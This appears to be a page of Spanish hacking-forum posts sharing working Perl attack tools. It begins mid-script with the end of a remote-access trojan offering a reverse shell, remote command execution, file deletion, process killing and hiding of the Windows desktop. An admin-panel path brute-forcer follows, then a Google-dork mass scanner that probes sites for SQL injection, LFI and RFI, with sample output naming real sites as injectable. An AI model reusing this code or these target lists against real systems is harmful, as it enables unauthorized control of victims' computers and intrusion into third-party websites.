  51. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  52. open (STDIN,">&REVERSE");
  53. open (STDOUT,">&REVERSE");
  54. open (STDERR,">&REVERSE");
  55. }
  56.  
  57. sub tipo {
  58. print "\n[*] Reverse Shell Starting...\n\n";
  59. if ($^O =~/Win32/ig) {
  60. infowin();
  61. system("cmd.exe");
  62. } else {
  63. infolinux();
  64. #root();  
  65. system("export TERM=xterm;exec sh -i");
  66. }
  67. }
  68.  
  69. sub infowin {
  70. print "[+] Domain Name : ".Win32::DomainName()."\n";
  71. print "[+] OS Version : ".Win32::GetOSName()."\n";
  72. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  73. }
  74.  
  75. sub infolinux {
  76. print "[+] System information\n\n";
  77. system("uname -a");
  78. print "\n\n";
  79. }
  80.  
  81.  
  82. }
  83.  
  84. if ($resultado =~/opencd/ig) {
  85.  
  86. use Win32::API;
  87.  
  88. my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
  89. my $rta = ' ' x 127;  
  90. $ventana->Call('set CDAudio door open', $rta, 127, 0);
  91. print $con "ok"."\r\n";	
  92. }
  93.  
  94. if ($resultado=~/chauproce K0BRA(.*)K0BRA(.*)K0BRA/ig) {
  95.  
  96. my ($pid,$numb) = ($1,$2);
  97.  
  98. $pid=~s/(\s)+$//;
  99. $numb=~s/(\s)+$//;
  100.  
  101. if (Win32::Process::KillProcess($pid,$numb)) {
  102. print $con "ok\r\n";
  103. }
  104. }
  105.  
  106. if ($resultado =~/closedcd/ig) {
  107.  
  108. use Win32::API;
  109.  
  110. my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
  111. my $rta = ' ' x 127;  
  112. $ventana->Call('set CDAudio door closed', $rta, 127, 0);
  113. print $con "ok"."\r\n";	
  114. }
  115.  
  116. if ($resultado=~/borrarfile K0BRA(.*)K0BRA/ig) {
  117.  
  118. my $filex = $1;
  119.  
  120. $filex =~s/(\s)+$//;
  121.  
  122. print getcwd()."/".$filex."\n\n";
  123.  
  124. if (unlink(getcwd()."/".$filex)) {
  125. print $con "ok\r\n"; 
  126. }
  127.  
  128. }
  129.  
  130.  
  131.  
  132. if ($resultado=~/infor/ig) {
  133. print "mando";	
  134. use Win32;
  135.  
  136.  
  137. my $domain = Win32::DomainName();
  138. my $chip = Win32::GetChipName();
  139. my $version = Win32::GetOSVersion();
  140. my $nombre = Win32::LoginName();
  141. my  $os = Win32::GetOSName();
  142.  
  143. print $con ":".$domain.":".$chip.":".$version.":".$nombre.":".$os.":"."\r\n";
  144. }
  145.  
  146.  
  147. if ($resultado=~/porters/ig) {
  148.  
  149. use Net::Netstat::Wrapper;
  150.  
  151. $por = "";
  152. @ports = Net::Netstat::Wrapper->only_port();
  153. for(@ports) {
  154. $por = $por.":".$_;
  155. }
  156. print $con $por."\r\n";
  157. }
  158.  
  159.  
  160. if ($resultado=~/playmusic K0BRA(.*)K0BRA/ig) {
  161.  
  162. my $cancion = $1;
  163.  
  164. $cancion =~s/(\s)+$//;
  165.  
  166. $test->load($cancion);
  167. $test->play;	
  168.  
  169. }
  170.  
  171. if ($resultado=~/chdirnow K0BRA(.*)K0BRA/ig) {
  172.  
  173. my $dir = $1;
  174. $dir =~s/(\s)+$//;
  175.  
  176.  
  177. if (chdir($dir)) {
  178. print $con "ok\r\n"; 
  179. } 
  180.  
  181. }
  182.  
  183. if ($resultado=~/borrardir K0BRA(.*)K0BRA/ig) {
  184.  
  185. my $veox = $1;
  186. $veox =~s/(\s)+$//;
  187.  
  188. if (rmdir(getcwd()."/".$veox)) {
  189. print $con "ok\r\n"; 
  190. }
  191. }
  192.  
  193.  
  194.  
  195. if ($resultado=~/pararmusic/ig) {
  196. $test->close;
  197. }
  198.  
  199.  
  200.  
  201. if ($resultado=~/dirnow ACATOY(.*)/ig) {
  202.  
  203. my $real = $1;
  204. chomp $real;
  205.  
  206. $real =~s/(\s)+$//;
  207.  
  208. print "real $real\n\n";
  209.  
  210. my @archivos = coleccionar($real);
  211.  
  212. for (@archivos) {
  213. print $_."\n";
  214. my $todo = $real."/".$_;
  215.  
  216. print $todo."\n";
  217.  
  218. if (-f $todo) {
  219. print $con "FILEX".$_."FILEX"."\r\n";
  220. print "File : ".$_."\n";
  221. }
  222.  
  223. if (-d $todo) {
  224. print $con "DIREX".$_."DIREX"."\r\n";
  225. print "Dir : ".$_."\n";
  226. }
  227.  
  228. }
  229. }
  230.  
  231. sub coleccionar {
  232. opendir DIR,$_[0];
  233. my @archivos = readdir DIR;
  234. close DIR;
  235. return @archivos;
  236. }
  237.  
  238. if ($resultado=~/getcwd/ig) {
  239. print "envie ".getcwd()."\n\n";
  240. print $con getcwd()."\r\n";
  241. }
  242.  
  243.  
  244. if ($resultado=~/mostrarpro/ig) {
  245.  
  246.  
  247. my $new = Win32::Process::List->new();  
  248. my %process = $new->GetProcesses();
  249. for my $pid (keys %process) {
  250. print $con "PROXEC".$process{$pid}."PROXEC\r\n";
  251. print $con "PIDX".$pid."PIDX\r\n";
  252.  
  253. }
  254.  
  255.  
  256. }
  257.  
  258. if ($resultado=~/crearnow K0BRA(.*)K0BRA ACATOY(.*)ACATOY/ig) {
  259. my $name = $1;
  260. my $file = $2;
  261.  
  262. chomp $name;
  263. chomp $file;
  264.  
  265. $name =~s/(\s)+$//;
  266. $file =~s/(\s)+$//;
  267.  
  268. print "name is $name end\n";
  269. print "file is $file end\n";
  270.  
  271. open FILE,">>".$name;
  272. print FILE $file."\n";
  273. close FILE;
  274. }
  275.  
  276. if ($resultado=~/comando :(.*):/ig) {
  277. print "llego comando $1\n";
  278. print $resultado;
  279. my $temp = qx($1);
  280. print $con $temp."\r";
  281. }
  282.  
  283. if ($resultado=~/iniciochau/g) {
  284. inicio_chau("Shell_TrayWnd");
  285. } 
  286. if ($resultado=~/iniciovuelve/g) {
  287. inicio_vuelve("Shell_TrayWnd");
  288. } else {
  289. print $resultado;
  290. }
  291. if ($resultado=~/iconovuelve/g) {
  292. icono_vuelve("Program Manager");
  293. }
  294. if ($resultado=~/iconochau/g) {
  295. icono_chau("Program Manager");
  296. }
  297.  
  298.  
  299. sub icono_vuelve {
  300. $handle = $a->Call(0,$_[0]);
  301. $b->Call($handle,SW_SHOWNORMAL);
  302.  
  303. }
  304.  
  305. sub icono_chau {
  306.  
  307. $handle = $a->Call(0,$_[0]);
  308. $b->Call($handle,SW_HIDE);
  309.  
  310. }
  311.  
  312. sub inicio_vuelve {
  313. $handlex = $a->Call($_[0],0);
  314. $b->Call($handlex,SW_SHOWNORMAL);
  315.  
  316. }
  317.  
  318. sub inicio_chau {
  319.  
  320. $handlea = $a->Call($_[0],0);
  321. $b->Call($handlea,SW_HIDE);
  322.  
  323. }
  324.  
  325.  
  326. }
  327.  
  328.  
  329. # ¿ The End ?
  330.  
  331.  
  332.  
489  Programación / Scripting / [Perl] Panel Control 0.6 en: 8 Octubre 2011, 16:57 pm
La nueva version de esta herramienta para buscar el panel de administracion

Código
  1. #!usr/bin/perl
  2. #Panel Control 0.6
  3. #(C) Doddy Hackman 2011
  4.  
  5. use LWP::UserAgent;
  6.  
  7. @panels=('admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx'
  8. ,'admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx'
  9. ,'asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx'
  10. ,'asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx'
  11. ,'admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx'
  12. ,'login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx'
  13. ,'administracion/index.asp','administracion/index.aspx','administracion/login.asp'
  14. ,'administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx'
  15. ,'administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php'
  16. ,'admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php'
  17. ,'admin/administrador.php','admin/default.php','administracion/','administracion/index.php'
  18. ,'administracion/login.php','administracion/ingresar.php','administracion/admin.php'
  19. ,'administration/','administration/index.php','administration/login.php'
  20. ,'administrator/index.php','administrator/login.php','administrator/system.php','system/'
  21. ,'system/login.php','admin.php','login.php','administrador.php','administration.php'
  22. ,'administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php'
  23. ,'yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html'
  24. ,'admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html'
  25. ,'admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html'
  26. ,'administrator/','administrator/index.html','administrator/login.html'
  27. ,'administrator/account.html','administrator/account.php','administrator.html','login.html'
  28. ,'modelsearch/login.php','moderator.php','moderator.html','moderator/login.php'
  29. ,'moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/'
  30. ,'account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html'
  31. ,'admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp'
  32. ,'admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp'
  33. ,'admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp'
  34. ,'administrator/login.asp','administrator/account.asp','administrator.asp'
  35. ,'modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp'
  36. ,'account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/'
  37. ,'fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php'
  38. ,'sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp'
  39. ,'ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html'
  40. ,'Server.asp','Server/','wp-admin/','administr8.php','administr8.html'
  41. ,'administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp'
  42. ,'webadmin.html','administratie/','admins/','admins.php','admins.asp'
  43. ,'admins.html','administrivia/','Database_Administration/','WebAdmin/'
  44. ,'useradmin/','sysadmins/','admin1/','system-administration/','administrators/'
  45. ,'pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/'
  46. ,'administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/'
  47. ,'cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/
  48. ','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/
  49. ','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/
  50. ','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/
  51. ','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/'
  52. ,'project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/'
  53. ,'wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/'
  54. ,'Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/'
  55. ,'irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/'
  56. ,'administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/'
  57. ,'Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/'
  58. ,'cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/'
  59. ,'server/','database_administration/','power_user/','system_administration/'
  60. ,'ss_vms_admin_sm/');
  61.  
  62. my $nave = LWP::UserAgent->new;
  63. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  64. $nave->timeout(5);
  65.  
  66. head();
  67. unless($ARGV[0]) {
  68. print "\n\n[+] sintax : $0 <web>\n\n";
  69. } else {
  70. scan($ARGV[0]);
  71. }
  72. copyright();
  73.  
  74. sub scan {
  75. print "\n[+] Scanning $_[0]\n\n\n";
  76. for $path(@panels) {
  77. $code = toma($_[0]."/".$path);
  78. if ($code->is_success) {
  79. print "[Link] : ".$_[0]."/".$path."\n";
  80. }
  81. }
  82. }
  83.  
  84. sub head {
  85. print "\n\n-- == Panel Control == --\n\n";
  86. }
  87.  
  88. sub copyright {
  89. print "\n\n(C) Doddy Hackman 2011\n\n";
  90. exit(1);
  91. }
  92.  
  93. sub toma {
  94. return $nave->get($_[0]);
  95. }
  96.  
  97. #Thanks to explorer (PerlEnEspañol)
  98. # ¿ The End ?
  99.  
490  Programación / Scripting / [Perl] Paranoic Scan By Doddy H en: 8 Octubre 2011, 16:56 pm
Hola.

Hoy traigo un programa que eh estado haciendo porque estaba harto de ir probando cada
web que encontraba en google para saber si tenia la vulnerabilidad que queria
Asi que por eso hice esta tool , con las siguientes opciones

* Permite scaner un archivo con webs
* Permite buscar en google , borrar repes , y luego scanear


Tipos de scan :

* SQL
* LFI
* RFI
* FULL SOURCE DISCLOURE



Ejemplo de uso


Código:



@@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
 @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
 @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
 @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
 @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
 @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
@@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @




[a] : Scan a File
[b] : Search in google and scan the webs

[option] : b

[+] Dork : ficha.php+id
[+] Pages : 200


[+] Scan Type :

[S] : SQL
[L] : LFI
[R] : RFI
[F] : Full Source Discloure
[A] : All


[Option] : s

[Google] : www.google.com.ar
[Dork] : ficha.php+id
[Pages] : 200

[+] Searching pages..
[+] Cleaning results

[Status] : Scanning
[Webs Count] : 136

[+] SQLI : http://www.3tres3.com/opinion/ficha.php?id=
[+] SQLI : http://www.vincipark.es/ficha.php?id=
[+] SQLI : http://www.maxhuber.cl/ficha.php?id=
[+] SQLI : http://www.alddeaviviendas.com/sitio/ficha.php?id=
[+] SQLI : http://www.bvocal.org/ficha.php?id=
[+] SQLI : http://www.animadas.com/artista-ficha.php?id=
[+] SQLI : http://www.madamedepompadour.cl/ficha.php?id=
[+] SQLI : http://codigo-civil.org/base/ficha.php?id=
[+] SQLI : http://www.cibercolchon.com/ficha.php?id=
[+] SQLI : http://www.100citiesinitiative.org/ficha.php?ID=
[+] SQLI : http://www.nibbledpencil.com/ficha.php?id=

[Status] : Finish



(C) Doddy Hackman 2010


Codigo
Código
  1.  
  2. #!usr/bin/perl
  3. #Paranoic Scan 0.4
  4. #(c)0ded by Doddy H 2010
  5.  
  6. use LWP::UserAgent;
  7. use HTTP::Request::Common;
  8. use URI::Split qw(uri_split);
  9.  
  10. my $nave = LWP::UserAgent->new();
  11. $nave->timeout(5);
  12. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  13.  
  14.  
  15.  
  16.  
  17.  
  18. sub head {
  19. system 'cls';
  21.  
  22.  
  23. @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
  24.  @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @ 
  25.  @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @ 
  26.  @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @ 
  27.  @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @ 
  28.  @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@ 
  29. @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @ 
  30.  
  31.  
  32.  
  33.  
  34. );
  35. }
  36. &menu;
  37. sub menu {
  38. &head;
  39. print "[a] : Scan a File\n";
  40. print "[b] : Search in google and scan the webs\n\n";
  41. print "[option] : ";
  42. chomp(my $op = <STDIN>);
  43. if ($op=~/a/ig) {
  44. print "\n[+] Wordlist : ";
  45. chomp(my $word = <STDIN>);
  46. @paginas = repes(savewords($word));
  47. my $option = &men;
  48. scan($option,@paginas);
  49. } 
  50. elsif ($op=~/b/ig) {
  51. print "\n[+] Dork : ";
  52. chomp(my $dork = <STDIN>);
  53. print "[+] Pages : ";
  54. chomp(my $pag = <STDIN>);
  55. my $option = &men;
  56. @paginas = &google("www.google.com.ar",$dork,$pag);
  57. scan($option,@paginas);
  58. }
  59. else {
  60. &menu;
  61. }
  62. }
  63. sub scan {
  64. my ($option,@webs) = @_;
  65. print "\n[Status] : Scanning\n";
  66. print "[Webs Count] : ".int(@webs)."\n\n";
  67. for(@webs) {
  68. if ($option=~/S/ig) {
  69. &sql($_);
  70. } 
  71. if ($option=~/L/ig) {
  72. &lfi($_);
  73. }
  74. if ($option=~/R/ig) {
  75. &rfi($_);
  76. }
  77. if ($option=~/F/ig) {
  78. &fsd($_);
  79. }
  80. if ($option=~/A/ig) {
  81. &sql($_);
  82. &lfi($_);
  83. &rfi($_);
  84. &fsd($_)
  85. }
  86. }
  87. }
  88. print "\n[Status] : Finish\n";
  89. &finish;
  90.  
  91.  
  92. sub toma {
  93. return $nave->request (GET $_[0])->content;
  94. }
  95.  
  96.  
  97. sub savefile {
  98. open (SAVE,">>logs/".$_[0]);
  99. print SAVE $_[1]."\n";
  100. close SAVE; 
  101. }
  102.  
  103. sub finish {
  104. print "\n\n\n(C) Doddy Hackman 2010\n\n";
  105. <STDIN>;
  106. exit(1);
  107. }
  108.  
  109.  
  110. sub google {
  111. print "\n[Google] : $_[0]\n[Dork] : $_[1]\n[Pages] : $_[2]\n\n[+] Searching pages..\n";
  112. for ($pages=0;$pages<=$_[2];$pages=$pages+10) {
  113. $response = toma("http://$_[0]/search?hl=&q=$_[1]&start=$pages");
  114. while ($response=~m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
  115. push(@founds,$1);
  116. }}
  117. print "[+] Cleaning results\n";
  118. for(@founds) {
  119. $t = clean($_);
  120. push(@r,$t);
  121. } 	
  122. return(repes(@r));
  123. }
  124.  
  125.  
  126. sub sql {
  127. my ($pass1,$pass2) = ("+","--");
  128. my $page = shift;
  129. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  130. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  131. print "[+] SQLI : $page\a\n";
  132. savefile("sql-logs.txt",$page);
  133. }}
  134.  
  135. sub rfi {
  136. my $page = shift;
  137. $code1 = toma($page."http:/www.supertangas.com/");
  138. if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
  139. print "[+] RFI : $page\a\n";
  140. savefile("rfi-logs.txt",$page);
  141. }}
  142.  
  143. sub lfi {
  144. my $page = shift;
  145. $code1 = toma($page."'");
  146. if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  147. print "[+] LFI : $page\a\n";
  148. savefile("lfi-logs.txt",$page);
  149. }}
  150.  
  151.  
  152. sub fsd {
  153. my $page = shift;
  154. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  155. if ($path=~/\/(.*)$/) { 
  156. my $me = $1;
  157. $code1 = toma($page.$me);
  158. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  159. print "[+] Full Source Discloure : $page\a\n";
  160. savefile("fpd-logs.txt",$page);
  161. }}}
  162.  
  163. sub repes {
  164. foreach my $palabra ( @_ ) {
  165. next if $repety{ $palabra }++;
  166. push @revisado,$palabra;
  167. }
  168. return @revisado;
  169. }
  170.  
  171. sub savewords {
  172. open (FILE,$_[0]);
  173. @words = <FILE>;
  174. close FILE;
  175. for(@words) {
  176. $t = clean($_);
  177. push(@r,$t);
  178. } 	
  179. return(@r);
  180. } 
  181.  
  182. sub men {
  183. print "\n\n[+] Scan Type : \n\n";
  184. print "[S] : SQL\n";
  185. print "[L] : LFI\n";
  186. print "[R] : RFI\n";
  187. print "[F] : Full Source Discloure\n";
  188. print "[A] : All\n\n";
  189. print "\n[Option] : ";
  190. chomp(my $option = <STDIN>);
  191. return $option;
  192. }
  193.  
  194. sub clean {
  195. if ($_[0] =~/\=/) {
  196. my @sacar= split("=",$_[0]);
  197. return(@sacar[0]."=");
  198. }
  199. }
  200.  
  201. #The End
  202. #Contact : doddy-hackman[at]hotmail[com]
  203. #blog : doddy-hackman.blogspot.com
Páginas: 1 ... 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 [49] 50 51 52 53 54 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines